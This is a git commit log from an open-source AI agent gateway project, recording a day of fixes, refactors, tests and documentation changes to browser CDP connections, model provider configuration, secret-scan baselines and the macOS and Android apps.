Tyler Yust
38543d8196 fix(cron): consolidate announce delivery, fire-and-forget trigger, and minimal prompt mode (#40204)
* fix(cron): consolidate announce delivery and detach manual runs

* fix: queue detached cron runs (#40204)
2026-03-08 14:46:33 -07:00
langdon
7dfd77abeb fix(setup-podman): cd to TMPDIR before podman load to avoid cwd permission error (#39435)
* fix(setup-podman): cd to TMPDIR before podman load to avoid inherited cwd permission error

* fix(podman): safe cwd in run_as_user to prevent chdir errors

Co-Authored-By: Claude Opus 4.6  <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>

---------

Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 17:32:08 -04:00
Gustavo Madeira Santana
5889a2e98e fix(plugin-sdk): lazily load legacy root alias 2026-03-08 17:13:46 -04:00
Gustavo Madeira Santana
09acbe6528 fix: harden backup verify path validation 2026-03-08 16:53:44 -04:00
Nimrod Gutman
64dd23eade fix(ci): refresh detect-secrets baseline 2026-03-08 22:44:05 +02:00
Nimrod Gutman
dadd7f99cd fix(ci): scope secrets scan to branch changes 2026-03-08 22:21:49 +02:00
shichangs
0ecfd37b44 feat: add local backup CLI (#40163)
Merged via squash.

Prepared head SHA: ed46625ae2
Co-authored-by: shichangs <46870204+shichangs@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-08 16:21:20 -04:00
Peter Steinberger
a075baba84 refactor(browser): scope CDP sessions and harden stale target recovery 2026-03-08 19:52:33 +00:00
Nimrod Gutman
a6131438ea fix(macos): improve tailscale gateway discovery (#40167)
Sanitized test tailnet hostnames and re-ran the targeted macOS gateway discovery test suite before merge.
2026-03-08 21:49:42 +02:00
Nimrod Gutman
92726d9863 docs(changelog): credit macos remote token author 2026-03-08 21:28:17 +02:00
Nimrod Gutman
3d3e8fe78c fix(macos): preserve unsupported remote gateway tokens 2026-03-08 21:28:17 +02:00
Charles Dusek
3b7a72bffb tests: document remote token persistence across mode toggle 2026-03-08 21:28:17 +02:00
Charles Dusek
37e0b01684 macos: add mode-toggle remote token sync coverage 2026-03-08 21:28:17 +02:00
Charles Dusek
bd0e6a6efd macos: clarify remote token placeholder text 2026-03-08 21:28:17 +02:00
Charles Dusek
6b338dd283 macos: add remote gateway token field for remote mode 2026-03-08 21:28:17 +02:00
Peter Steinberger
9d467d1620 docs: add WSL2 + Windows remote Chrome CDP troubleshooting (#39407) (thanks @Owlock) 2026-03-08 19:21:42 +00:00
Peter Steinberger
d3111fbbcb fix: make browser relay bind address configurable (#39364) (thanks @mvanhorn) 2026-03-08 19:15:21 +00:00
Matt Van Horn
e883d0b556 fix(browser): add IP validation, fix upgrade handler for non-loopback bind
- Zod schema: validate relayBindHost with ipv4/ipv6 instead of bare string
- Upgrade handler: allow non-loopback connections when bindHost is explicitly
  non-loopback (e.g. 0.0.0.0 for WSL2), keeping loopback-only default
- Test: verify actual bind address via relay.bindHost instead of just checking
  reachability on 127.0.0.1 which passes regardless
- Expose bindHost on ChromeExtensionRelayServer type for inspection

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 19:15:21 +00:00
Matt Van Horn
436ae8a07c fix(infra): make browser relay bind address configurable
Add browser.relayBindHost config option so the Chrome extension relay
server can bind to a non-loopback address (e.g. 0.0.0.0 for WSL2).
Defaults to 127.0.0.1 when unset, preserving current behavior.

Closes #39214

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 19:15:21 +00:00
Peter Steinberger
0692f71c6f fix: wait for extension relay tab reconnects (#32461) (thanks @AaronWander) 2026-03-08 19:11:58 +00:00
AaronWander
bcb0d1b8b4 fix(browser): wait for extension tabs after relay drop (#32331) 2026-03-08 19:11:58 +00:00
Peter Steinberger
dcdce83da7 fix: normalize wildcard remote CDP websocket URLs (#17760) (thanks @joeharouni) 2026-03-08 19:07:23 +00:00
Joe Harouni
dfa3605bee fix(browser): rewrite 0.0.0.0 and [::] wildcard addresses in CDP WebSocket URLs
Containerized browsers (e.g. browserless in Docker) report
`ws://0.0.0.0:<internal-port>` in their `/json/version` response.
`normalizeCdpWsUrl` rewrites loopback WS hosts to the external
CDP host:port, but `0.0.0.0` and `[::]` were not treated as
addresses needing rewriting, causing OpenClaw to try connecting
to `ws://0.0.0.0:3000` literally — which always fails.

Fixes #17752

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 19:07:23 +00:00
Josh Lehman
4bfa800cc7 fix: share context engine registry across bundled chunks (#40115)
Merged via squash.

Prepared head SHA: 6af4820b7d
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-08 11:56:01 -07:00
Peter Steinberger
9914b48c57 fix: preserve loopback ws cdp tab ops (#31085) (thanks @shrey150) 2026-03-08 18:48:51 +00:00
Shrey Pandya
4d904e7b7d style(browser): fix oxfmt formatting in config.ts
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
7b58507224 chore: remove vendor-specific references from code comments 2026-03-08 18:48:10 +00:00
Shrey Pandya
c1f6edf48b fix(browser): preserve wss:// cdpUrl in legacy default profile resolution 2026-03-08 18:48:10 +00:00
shrey150
8b2f40f5f6 fix(browser): update existing tests for ws/wss protocol support
Two pre-existing tests still expected ws:// URLs to be rejected by
parseHttpUrl, which now accepts them. Switch the invalid-protocol
fixture to ftp:// and tighten the assertion to match the full
"must be http(s) or ws(s)" error message.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
shrey150
f9c220e261 test+docs: comprehensive coverage and generic framing
- Add 12 new tests covering: isWebSocketUrl detection, parseHttpUrl WSS
  acceptance/rejection, direct WS target creation with query params,
  SSRF enforcement on WS URLs, WS reachability probing bypasses HTTP
- Reframe docs section as generic "Direct WebSocket CDP providers" with
  Browserbase as one example — any WSS-based provider works
- Update security tips to mention WSS alongside HTTPS

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
shrey150
75602014db feat(browser): support direct WebSocket CDP URLs for Browserbase
Browserbase uses direct WebSocket connections (wss://) rather than the
standard HTTP-based /json/version CDP discovery flow used by Browserless.
This change teaches the browser tool to accept ws:// and wss:// URLs as
cdpUrl values: when a WebSocket URL is detected, OpenClaw connects
directly instead of attempting HTTP discovery.

Changes:
- config.ts: accept ws:// and wss:// in cdpUrl validation
- cdp.helpers.ts: add isWebSocketUrl() helper
- cdp.ts: skip /json/version when cdpUrl is already a WebSocket URL
- chrome.ts: probe WSS endpoints via WebSocket handshake instead of HTTP
- cdp.test.ts: add test for direct WebSocket target creation
- docs/tools/browser.md: update Browserbase section with correct URL
  format and notes

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
3cf75f760c docs: simplify Browserbase section, drop pricing details
Restore platform-level feature description (CAPTCHA solving, stealth
mode, proxies) without plan-specific pricing gating. Keep free tier
note brief.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
ae39a152d8 docs: fact-check Browserbase section against official docs
- Fix CAPTCHA/stealth/proxy claims: these are Developer plan+ only,
  not available on free tier
- Fix free tier limits: 1 browser hour, 15-min session duration
  (not "60 minutes of monthly usage")
- Add link to pricing page for paid plan details
- Simplify structure to match Browserless section format
- Remove sub-headings to match Browserless section style

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
efa1204183 docs: restore direct wss://connect.browserbase.com URL
Browserbase exposes a direct WebSocket connect endpoint that
auto-creates a session, similar to how Browserless works. Simplified
the section to use this static URL pattern instead of requiring
manual session creation via the API.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
9a4610c641 docs: fix Browserbase section to match official docs
Browserbase requires creating a session via their API to get a CDP
connect URL, unlike Browserless which uses a static endpoint. Updated
to show the correct curl-based session creation flow, removed
unverified static WebSocket URL, and added the 5-minute connect
timeout note from official docs.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
c0a988f692 docs: fix duplicate heading lint error
Rename "Configuration" sub-heading to "Profile setup" to avoid
MD024/no-duplicate-heading conflict with the existing top-level
"Configuration" heading.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
641e1bacb4 docs: add Browserbase as hosted remote CDP option
Add Browserbase documentation section alongside the existing Browserless
section in the browser docs. Includes signup instructions, CDP connection
configuration, and environment variable setup.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Shrey Pandya
0252bdc837 Revert "docs: add Browserbase as hosted remote CDP option"
This reverts commit c469657c97848c7a3e1e5135bf4ce735d07d6614.
2026-03-08 18:48:10 +00:00
Shrey Pandya
885199dcaa docs: add Browserbase as hosted remote CDP option
Add Browserbase documentation section alongside the existing Browserless
section in the browser docs. Includes signup instructions, CDP connection
configuration, and environment variable setup for both English and Chinese
(zh-CN) translations.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-08 18:48:10 +00:00
Peter Steinberger
3ada30e670 fix: restore gate after rebase 2026-03-08 18:40:15 +00:00
Peter Steinberger
c5095153b0 refactor: extract qmd process runner 2026-03-08 18:40:15 +00:00
Peter Steinberger
68775745d2 fix: restore acp session meta narrowing 2026-03-08 18:40:15 +00:00
Peter Steinberger
f399a818ef refactor: extract ios watch reply coordinator 2026-03-08 18:40:15 +00:00
Peter Steinberger
6bd5735519 refactor: split doctor config analysis helpers 2026-03-08 18:40:15 +00:00
Peter Steinberger
11be305609 refactor: neutralize context engine runtime bridge 2026-03-08 18:40:15 +00:00
Peter Steinberger
f6cb77134c refactor: centralize acp session resolution guards 2026-03-08 18:40:14 +00:00
Peter Steinberger
25d0aa7296 refactor: simplify plugin sdk compatibility aliases 2026-03-08 18:40:14 +00:00
Peter Steinberger
dd7470730d test: isolate git commit resolution fallbacks 2026-03-08 18:40:14 +00:00
Peter Steinberger
c70151e873 test: isolate legacy plugin-sdk root import check 2026-03-08 18:40:14 +00:00
Peter Steinberger
a007bed375 test: isolate plugin loader from mocked module cache 2026-03-08 18:40:14 +00:00
Peter Steinberger
fa580e33c1 refactor: split android talk voice resolution 2026-03-08 18:40:14 +00:00
Peter Steinberger
371c53b282 test: expand talk config contract fixtures 2026-03-08 18:40:14 +00:00
Peter Steinberger
cee2f3e8b4 refactor: dedupe android talk config parsing 2026-03-08 18:40:14 +00:00
Peter Steinberger
2ed644f5d3 fix: require talk resolved payload 2026-03-08 18:40:14 +00:00
Mariano
404b1527e6 fix(acp): persist spawned child session history (#40137)
Merged via squash.

Prepared head SHA: 62de5d5669
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-08 19:37:00 +01:00
Peter Steinberger
72ebaf97c3 test: add implicit provider matrix coverage 2026-03-08 18:26:36 +00:00
Peter Steinberger
8ab762c005 test: standardize hermetic provider env snapshots 2026-03-08 18:26:36 +00:00
Peter Steinberger
d307a7ca1a refactor: extract bundled extension manifest parser 2026-03-08 18:26:36 +00:00
Peter Steinberger
52bc809143 refactor: extract provider stream wrappers 2026-03-08 18:26:36 +00:00
Peter Steinberger
6094035054 refactor: extract static provider builders 2026-03-08 18:26:36 +00:00
Peter Steinberger
f493b03202 refactor: validate bundled extension release metadata 2026-03-08 18:26:36 +00:00
Peter Steinberger
e53d840fed refactor: extract openai stream wrappers 2026-03-08 18:26:36 +00:00
Peter Steinberger
f66bd105a4 refactor: decompose implicit provider resolution 2026-03-08 18:26:36 +00:00
Peter Steinberger
ef2541ceb3 refactor: centralize transcript provider quirks 2026-03-08 18:26:35 +00:00
Peter Steinberger
8a18e2598f refactor: split models registry loading from persistence 2026-03-08 18:26:35 +00:00
Peter Steinberger
749eb4efea refactor: thread config runtime env through models config 2026-03-08 18:26:35 +00:00
Peter Steinberger
64d4d9aabb refactor: move bundled extension gap allowlists into manifests 2026-03-08 18:26:35 +00:00
Peter Steinberger
e5c06dd64a refactor: use model compat for anthropic tool payload normalization 2026-03-08 18:26:35 +00:00
Vincent Koc
efcca3d2ea Tests: format daemon lifecycle CLI coverage 2026-03-08 11:22:41 -07:00
Vincent Koc
0b452a5665 CLI: set local gateway mode in setup 2026-03-08 11:17:29 -07:00
Vincent Koc
4c71176c9f Chore: refresh detect-secrets baseline for Feishu docs 2026-03-08 11:16:03 -07:00
Vincent Koc
c5bba6628e Chore: refresh detect-secrets baseline after final scan 2026-03-08 11:16:03 -07:00
Vincent Koc
3b68d3fded Chore: refresh detect-secrets baseline after docs line changes 2026-03-08 11:16:03 -07:00
Vincent Koc
7856f5730c Web search: allowlist Perplexity auth source type name 2026-03-08 11:16:03 -07:00
Vincent Koc
aebfce7a36 Chore: refresh detect-secrets baseline 2026-03-08 11:16:03 -07:00
Vincent Koc
e19b3679d1 Chore: widen xxxxx detect-secrets allowlist 2026-03-08 11:16:03 -07:00
Vincent Koc
d23d36a2f9 Tests: lower entropy git commit fixtures 2026-03-08 11:16:03 -07:00
Vincent Koc
2ae58542a0 Fixtures: normalize talk config API key placeholder 2026-03-08 11:16:03 -07:00
Vincent Koc
55465d86d9 Docs: use placeholder OpenRouter key in web tool docs 2026-03-08 11:16:03 -07:00
Vincent Koc
615466bdf4 Docs: use placeholder OpenRouter key in Perplexity guide 2026-03-08 11:16:03 -07:00
Vincent Koc
6f4de3cc23 Web search: rename Perplexity auth source helper 2026-03-08 11:16:03 -07:00
Vincent Koc
f19761cefa Tests: reduce web search secret-scan noise 2026-03-08 11:16:03 -07:00
Vincent Koc
5387faa718 CI: satisfy provider merge fixture typing 2026-03-08 11:15:48 -07:00
Tak Hoffman
bdf9739e59 Add too-many-prs override label handling 2026-03-08 13:13:53 -05:00
Rémi
2970d72554 docs: update Brave Search API docs for Feb 2026 plan restructuring (#40111)
Merged via squash.

Prepared head SHA: c651f07855
Co-authored-by: remusao <1299873+remusao@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-08 14:06:21 -04:00
Tak Hoffman
74624e619d fix: prefer bundled channel plugins over npm duplicates (#40094)
* fix: prefer bundled channel plugins over npm duplicates

* fix: tighten bundled plugin review follow-ups

* fix: address check gate follow-ups

* docs: add changelog for bundled plugin install fix

* fix: align lifecycle test formatting with CI oxfmt
2026-03-08 13:00:24 -05:00
yuweuii
6c9b49a10b fix(sessions): clear stale contextTokens on model switch (#38044)
Merged via squash.

Prepared head SHA: bac2df4b7f
Co-authored-by: yuweuii <82372187+yuweuii@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-08 10:59:16 -07:00
GitBuck
caf1b84822 feat: allow compaction model override via config (#38753)
Merged via squash.

Prepared head SHA: a3d6d6c845
Co-authored-by: starbuck100 <25417736+starbuck100@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-08 10:47:34 -07:00
Vincent Koc
b6520d7172 CI: scope CodeQL JavaScript analysis 2026-03-08 10:29:56 -07:00
Ayaan Zaidi
d4ab731746 fix(telegram): use message previews in DMs 2026-03-08 21:59:43 +05:30
Peter Steinberger
95dff166cb refactor: fold implicit provider injection into resolver 2026-03-08 16:22:52 +00:00
Peter Steinberger
1ec1f0f1f2 refactor: scope prep push results to env artifacts 2026-03-08 16:22:52 +00:00
Peter Steinberger
bce9d93fb5 fix: publish models.json atomically 2026-03-08 16:22:52 +00:00
Peter Steinberger
bec3c0b71d refactor: reuse one models.json read per write 2026-03-08 16:22:52 +00:00
Peter Steinberger
b41bcb08a2 refactor: expand provider capability registry 2026-03-08 16:22:52 +00:00
Peter Steinberger
75e1521660 refactor: extract pure models config merge helpers 2026-03-08 16:22:52 +00:00
Peter Steinberger
79c5c660bb fix: treat model api drift as baseUrl refresh 2026-03-08 16:22:52 +00:00
Peter Steinberger
fa00b1d0ca refactor: dedupe prep branch push flow 2026-03-08 16:22:52 +00:00
Peter Steinberger
032778fb2e refactor: avoid checkout during prep head verification 2026-03-08 16:22:52 +00:00
Peter Steinberger
16a5f0b006 refactor: split talk gateway config loaders 2026-03-08 16:22:48 +00:00
Peter Steinberger
dc5645d459 test: add talk config contract fixtures 2026-03-08 16:22:48 +00:00
Peter Steinberger
8d3d742c6a refactor: require canonical talk resolved payload 2026-03-08 16:22:48 +00:00
Peter Steinberger
87640f9a61 fix: align talk config secret schemas 2026-03-08 16:22:48 +00:00
Peter Steinberger
b7ad8fd661 fix: fail closed talk provider selection 2026-03-08 16:22:48 +00:00
Altay
ca5e352c53 CLI: include commit hash in --version output (#39712)
* CLI: include commit hash in --version output

* fix(version): harden commit SHA resolution and keep output consistent

* CLI: keep install checks compatible with commit-tagged version output

* fix(cli): include commit hash in root version fast path

* test(cli): allow null commit-hash mocks

* Installer: share version parser across install scripts

* Installer: avoid sourcing helpers from stdin cwd

* CLI: note commit-tagged version output

* CLI: anchor commit hash resolution to module root

* CLI: harden commit hash resolution

* CLI: fix commit hash lookup edge cases

* CLI: prefer live git metadata in dev builds

* CLI: keep git lookup inside package root

* Infra: tolerate invalid moduleUrl hints

* CLI: cache baked commit metadata fallbacks

* CLI: align changelog attribution with prep gate

* CLI: restore changelog contributor credit

---------

Co-authored-by: echoVic <echovic@163.com>
Co-authored-by: echoVic <echoVic@users.noreply.github.com>
2026-03-08 19:10:48 +03:00
Hermione
c942655451 fix(hooks): use resolveAgentIdFromSessionKey in runBeforeReset (#39875)
Merged via squash.

Prepared head SHA: 00a2b241df
Co-authored-by: rbutera <6047293+rbutera@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 19:07:28 +03:00
Tak Hoffman
fa83010b17 fix(plugins): ship Feishu bundled runtime dependency (#39990)
* fix: ship feishu bundled runtime dependency

* test: align feishu bundled dependency specs
2026-03-08 10:36:41 -05:00
darkamenosa
67b2e81360 Zalo: fix provider lifecycle restarts (#39892)
* Zalo: fix provider lifecycle restarts

* Zalo: add typing indicators, smart webhook cleanup, and API type fixes

* fix review

* add allow list test secrect

* Zalo: bound webhook cleanup during shutdown

* Zalo: bound typing chat action timeout

* Zalo: use plugin-safe abort helper import
2026-03-08 22:33:18 +07:00
Ayaan Zaidi
28e46d04e5 fix(web-search): restore OpenRouter compatibility for Perplexity (#39937) (#39937) 2026-03-08 20:37:54 +05:30
Tak Hoffman
d9e8e8ac15 fix: resolve live config paths in status and gateway metadata (#39952)
* fix: resolve live config paths in status and gateway metadata

* fix: resolve remaining runtime config path references

* test: cover gateway config.set config path response
2026-03-08 09:59:32 -05:00
Peter Steinberger
da3cccb212 test: decouple ios talk parsing coverage 2026-03-08 14:58:29 +00:00
Peter Steinberger
e8ad80afc7 test: cover invalid talk config inputs 2026-03-08 14:58:29 +00:00
Peter Steinberger
b4c8950417 refactor: centralize talk silence timeout defaults 2026-03-08 14:58:29 +00:00
Peter Steinberger
4e2290b841 refactor: add canonical talk config payload 2026-03-08 14:58:29 +00:00
Peter Steinberger
4f482d2a2b refactor: share Apple talk config parsing 2026-03-08 14:58:29 +00:00
Peter Steinberger
eba9dcc67a Refactor release hardening follow-ups (#39959)
* build: fail fast on stale host-env swift policy

* build: sync generated host env swift policy

* build: guard bundled extension root dependency gaps

* refactor: centralize provider capability quirks

* test: table-drive provider regression coverage

* fix: block merge when prep branch has unpushed commits

* refactor: simplify models config merge preservation
2026-03-08 14:49:58 +00:00
Tak Hoffman
27558806b5 docs: clarify bot review conversation ownership (#39942)
* docs: clarify bot review conversations
2026-03-08 09:39:39 -05:00
Peter Steinberger
0af3118d08 fix: harden talk silence timeout parsing (#39607) (thanks @danodoesdesign)
Co-authored-by: dano does design <dano.does.design@gmail.com>
2026-03-08 14:30:25 +00:00
dano does design
6ff7e8f42e talk: add configurable silence timeout 2026-03-08 14:30:25 +00:00
Varun Chopra
097c588a6b transcript-policy: use named Set for anthropic signature-excluded providers 2026-03-08 14:16:21 +00:00
Varun Chopra
2bf53c2cb6 transcript-policy: don't preserve thinking signatures for kimi-coding (#39798) 2026-03-08 14:16:21 +00:00
Peter Steinberger
e2c07f8a47 fix: land mac universal release defaults (#33891) (thanks @cgdusek) 2026-03-08 14:14:36 +00:00
Charles Dusek
1a364cd066 Docs: clarify notarization handoff in mac release flow 2026-03-08 14:14:36 +00:00
Charles Dusek
9ce79bba34 Docs: mark basic mac dist example as non-notarized 2026-03-08 14:14:36 +00:00
Charles Dusek
047f4acacf Docs: clarify release build arch defaults for mac packaging 2026-03-08 14:14:36 +00:00
Charles Dusek
64760614aa macOS: default release app builds to universal binaries 2026-03-08 14:14:36 +00:00
GeekCheyun
76e4b8277f fix(issue-39839): address tool-call extra params parsing for kimi anthropic-messages 2026-03-08 14:14:06 +00:00
Peter Steinberger
6dadfaa18c docs: use alphabetical provider ordering 2026-03-08 14:10:36 +00:00
Peter Steinberger
d5b305b250 fix: follow up #39321 and #38445 landings 2026-03-08 13:58:13 +00:00
Peter Steinberger
ba2d580c4e docs: note /landpr merge process 2026-03-08 13:57:50 +00:00
Peter Steinberger
acac7e3132 fix: land Brave llm-context gaps (#33383) (thanks @thirumaleshp) 2026-03-08 13:57:12 +00:00
Thirumalesh
8a1015f1aa feat: add Brave Search LLM Context API mode for web_search
Add support for Brave's LLM Context API endpoint (/res/v1/llm/context)
as an optional mode for the web_search tool. When configured with
tools.web.search.brave.mode set to llm-context, the tool returns
pre-extracted page content optimized for LLM grounding instead of
standard URL/snippet results.

The llm-context cache key excludes count and ui_lang parameters that
the LLM Context API does not accept, preventing unnecessary cache
misses.

Closes #14992

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 13:57:12 +00:00
Ayane
38f4ac5e3c fix(feishu): restore @larksuiteoapi/node-sdk in root dependencies
The bundled Feishu extension fails to load after npm global install because
`@larksuiteoapi/node-sdk` was removed from the root package.json in
e1503349c ("scope extension runtime deps to plugin manifests").

Bundled extensions shipped inside the npm package resolve modules through
the root node_modules tree.  Since `.gitignore` excludes nested
`node_modules/` directories, the extension-level `node_modules/` is
never published, so the module is unreachable at runtime.

Other bundled channel dependencies (e.g. `@discordjs/voice`,
`@slack/bolt`) remain in the root manifest for the same reason.

Re-add the entry — matching the version already declared in
`extensions/feishu/package.json` — so that both global npm installs and
the bundled extension path can locate the SDK.

Closes #39733
2026-03-08 13:56:46 +00:00
Peter Steinberger
d91d24e41d refactor: tighten codex inline api fallback follow-up 2026-03-08 13:54:21 +00:00
Dmitri
d2347ed825 macOS: set speech recognition taskHint for Talk Mode mic capture
Add taskHint = .dictation to Talk Mode's SFSpeechAudioBufferRecognitionRequest,
matching what Voice Wake already sets. Without this hint the recognizer may not
properly initialize audio capture, causing Talk Mode to appear unresponsive.

Co-Authored-By: dmiv <dmiv@users.noreply.github.com>
2026-03-08 13:52:08 +00:00
justinhuangcode
6e086a5b3b chore: update secrets baseline line numbers 2026-03-08 13:51:37 +00:00
justinhuangcode
c9f2d6b761 fix(agents): let forward-compat resolve api when inline model omits it
When a user configures `models.providers.openai-codex` with a models
array but omits the `api` field, `buildInlineProviderModels` produces
an entry with `api: undefined`.  The inline-match early return then
hands this incomplete model straight to the caller, skipping the
forward-compat resolver that would supply the correct
`openai-codex-responses` api — causing a crash loop.

Let the inline match fall through to forward-compat when `api` is
absent so the resolver chain can fill it in.

Fixes #39682
2026-03-08 13:51:37 +00:00
Kros Dai
e9d51d874b Models: fix codex follow-up CI issues 2026-03-08 13:48:13 +00:00
Kros Dai
ec75643a09 Models: scope implicit codex baseUrl override 2026-03-08 13:48:13 +00:00
Kros Dai
374001c4a0 fix: add implicit openai-codex provider snapshot 2026-03-08 13:48:13 +00:00
Felix Hellström
58ae5582f4 macOS: fix VoiceWakeOverlayController exclusivity violation #39275 2026-03-08 13:47:27 +00:00
Peter Steinberger
eebee84093 fix(models): discover Vercel AI Gateway catalog 2026-03-08 13:44:10 +00:00
Peter Steinberger
386b811ddd test(cron): relax concurrent start race timeout 2026-03-08 13:44:10 +00:00
Peter Steinberger
f66cc886d3 test(agents): normalize live model not-found skips 2026-03-08 13:44:10 +00:00
daymade
f930fcbd3f Add regression test and CHANGELOG entry
- Add test ensuring launchd path never returns "failed" status
- Add CHANGELOG.md entry documenting the fix with issue/PR references
- Reference ThrottleInterval evolution (#27650#29078 → current 1s)
2026-03-08 13:42:50 +00:00
daymade
03aea082d0 chore: condense inline comments per code review
Remove redundant rationale from test body (test names already convey it)
and trim the production comment to what/consequence/link (mechanism
details live in #39760).
2026-03-08 13:42:50 +00:00
daymade
5f45e76d61 fix(darwin): remove self-kickstart from launchd gateway restart; rely on KeepAlive
When the gateway needs a config-triggered restart under launchd, calling
`launchctl kickstart -k` from within the service itself races with
launchd's async bootout state machine:

1. `kickstart -k` initiates a launchd bootout → SIGTERM to self
2. Gateway ignores SIGTERM during shutdown → process doesn't exit
3. 2s `spawnSync` timeout kills the launchctl child, but launchd
   continues the bootout asynchronously
4. Fallback `launchctl bootstrap` fails with EIO (service mid-bootout)
5. In-process restart runs on the same PID that launchd will SIGKILL
6. LaunchAgent is permanently unloaded — no auto-restart

Fix: on darwin/launchd, skip `triggerOpenClawRestart()` entirely.
The caller already calls `exitProcess(0)` for supervised mode, and
`KeepAlive=true` (always set in the plist template) restarts the
service within ~1 second.

The schtasks (Windows) path is unchanged — Windows doesn't have an
equivalent KeepAlive mechanism.
2026-03-08 13:42:50 +00:00
Peter Steinberger
53fb317e7f fix(macos): clean swiftformat pass and sendable warning 2026-03-08 13:22:46 +00:00
Ayaan Zaidi
eb0758e172 docs(changelog): note Android Play policy cutovers 2026-03-08 16:25:49 +05:30
Ayaan Zaidi
04b4b48077 fix(android): persist legacy location mode migration 2026-03-08 16:25:49 +05:30
Ayaan Zaidi
709e11ea70 build(android): bump release version code 2026-03-08 16:25:49 +05:30
Ayaan Zaidi
46145fde19 fix(android): remove mic and screen foreground services 2026-03-08 16:25:49 +05:30
Ayaan Zaidi
1230cefe25 fix(android): remove background location mode 2026-03-08 16:25:49 +05:30
Ayaan Zaidi
0f9566b0b5 fix(android): remove self-update install flow 2026-03-08 16:25:49 +05:30
arceus77-7
492fe679a7 feat(tui): infer workspace agent when launching TUI (#39591)
Merged via squash.

Prepared head SHA: 23533e24c4
Co-authored-by: arceus77-7 <261276524+arceus77-7@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 13:31:11 +03:00
Altay
f4c4856254 docs(changelog): add #39377 failover note (#39704) 2026-03-08 13:09:26 +03:00
gambletan
8a20f51460 fix: add rate limit patterns for 'too many tokens' and 'tokens per day' (#39377)
Merged via squash.

Prepared head SHA: 132a457286
Co-authored-by: gambletan <266203672+gambletan@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 13:03:33 +03:00
Farhoud Cheraghi
aedf3ee68f fix(skills): expand skill-creator description to cover edit/audit/review triggers (#39158)
Merged via squash.

Prepared head SHA: 13997c1ee5
Co-authored-by: haynzz <1236319+haynzz@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 12:13:00 +03:00
J. Campbell
b38f371630 fix: add @tloncorp/api to pnpm onlyBuiltDependencies allowlist (#39027)
Merged via squash.

Prepared head SHA: e149350260
Co-authored-by: apexfork <363026+apexfork@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 12:07:10 +03:00
gambletan
e5fdfec9dc fix(config): accept "openclaw" as browser profile driver in Zod schema (#39374)
Merged via squash.

Prepared head SHA: 0eba5ab939
Co-authored-by: gambletan <266203672+gambletan@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 12:04:49 +03:00
Altay
f73778e9b2 fix: remove redundant root strip-ansi dependency (#39652) 2026-03-08 12:04:46 +03:00
Nutchanon (Ben) Ninyawee
c1b914026d fix: add missing strip-ansi dep for pi-coding-agent (#38999)
Merged via squash.

Prepared head SHA: dd03a6aaaf
Co-authored-by: ninyawee <8089231+ninyawee@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-08 12:00:17 +03:00
Daniel Hnyk
9425209602 fix(mattermost): pass payload.replyToId as root_id for threaded replies (#27744)
Merged via squash.

Prepared head SHA: e029079872
Co-authored-by: hnykda <2741256+hnykda@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-08 14:13:13 +05:30
Ayaan Zaidi
4db634964b chore(secrets): sync appcast baseline 2026-03-08 13:29:26 +05:30
Ayaan Zaidi
6477da623f chore(secrets): sync detect-secrets baseline 2026-03-08 13:25:01 +05:30
